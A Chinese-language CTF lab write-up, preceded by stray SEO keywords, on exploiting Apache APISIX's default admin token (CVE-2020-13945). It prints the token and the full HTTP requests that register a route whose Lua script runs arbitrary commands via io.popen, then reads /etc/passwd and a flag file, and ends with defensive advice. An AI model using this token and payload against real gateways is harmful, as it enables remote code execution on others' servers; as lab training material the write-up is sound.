医学ppt模板免费下载网站,温州给企业做网站,住房和城乡建设部网站监理工程师,网页设计入门书籍某靶场CTF题目#xff1a;利用Apache APISIX默认Token漏洞(CVE-2020-13945)获取Flag
在最近的CTF靶场练习中#xff0c;我遇到了一道关于API网关安全的题目#xff0c;考察的是Apache APISIX的默认Token漏洞(CVE-2020-13945)。本文将详细记录我的解题过程#xff0c;分享如…某靶场CTF题目利用Apache APISIX默认Token漏洞(CVE-2020-13945)获取Flag
在最近的CTF靶场练习中我遇到了一道关于API网关安全的题目考察的是Apache APISIX的默认Token漏洞(CVE-2020-13945)。本文将详细记录我的解题过程分享如何从零开始识别并利用这个漏洞最终获取flag。
题目信息 靶标介绍 Apache APISIX是一个高性能API网关。在用户未指定管理员Token或使用了默认配置文件的情况下Apache APISIX将使用默认的管理员Token。攻击者利用这个Token可以访问到管理员接口进而通过script参数来插入任意LUA脚本并执行。 目标地址 be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
解题过程
第一步初始探测
访问目标地址得到如下响应
{error_msg:404 Route Not Found}这个响应告诉我们
服务正常运行没有配置默认路由很可能是Apache APISIX网关根据题目描述确认 第二步识别漏洞
回忆常见的APISIX漏洞CVE-2020-13945浮现在脑海
Apache APISIX在使用默认配置时会使用硬编码的管理员Token默认Token为edd1c9f034335f136f87ad84b625c8f1通过这个Token可以访问管理API创建恶意路由
第三步验证漏洞存在
使用Burp Suite构造管理API请求
发送一个简单的GET请求到管理接口
GET /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1如果返回403说明Token错误如果返回200或404说明Token有效。
尝试创建测试路由
POST /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json{uri: /test,upstream: {type: roundrobin,nodes: {example.com:80: 1}}
}成功创建路由验证了漏洞存在
第四步构造攻击载荷
为了获取flag我需要执行系统命令查看服务器上的文件。构造如下恶意路由
POST /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 411{uri: /attack,script: local _M {} \n function _M.access(conf, ctx) \n local os require(os)\n local args assert(ngx.req.get_uri_args()) \n local f assert(io.popen(args.cmd, r))\n local s assert(f:read(*a))\n ngx.say(s)\n f:close() \n end \nreturn _M,upstream: {type: roundrobin,nodes: {httpbin.org:80: 1}}
}这个载荷创建了一个/attack路由它会执行通过URL参数cmd传入的系统命令。 第五步执行命令寻找flag
首先检查当前用户权限
GET /attack?cmdcat /etc/passwd HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83返回结果如下图 查找flag文件通常位于/root或/home或者/tmp目录 发现flag位于/tmp/flag.txt
读取flag内容
GET /attack?cmdcat /tmp/flag.txt HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83成功获取flag 提交成功
第六步清理痕迹可选
在真实渗透测试中记得删除创建的路由
DELETE /apisix/admin/routes/00000000000000000016 HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1漏洞原理深度分析
这个CTF题目考察的是CVE-2020-13945漏洞其核心问题在于
硬编码凭据APISIX默认配置中包含固定的管理员Token权限设计缺陷管理API没有默认的访问控制限制脚本注入路由配置允许直接执行LUA代码且无安全过滤
攻击链如下
默认Token → 访问管理API → 创建恶意路由 → LUA脚本注入 → RCE防御建议
针对此类漏洞的防御措施
修改默认配置部署时必须更改所有默认凭据网络隔离管理接口不应暴露在公网输入过滤对LUA脚本进行严格的沙箱限制最小权限服务账户使用最低必要权限
总结
通过这道CTF题目我们学习了
如何识别Apache APISIX的默认配置漏洞利用管理API创建恶意路由的技巧通过LUA脚本注入实现RCE的方法在CTF中寻找flag的系统性思路
这类题目在现实中也很有意义提醒我们始终要修改默认凭据加强API网关的安全配置。希望这篇writeup对大家今后的CTF比赛和实际安全工作有所帮助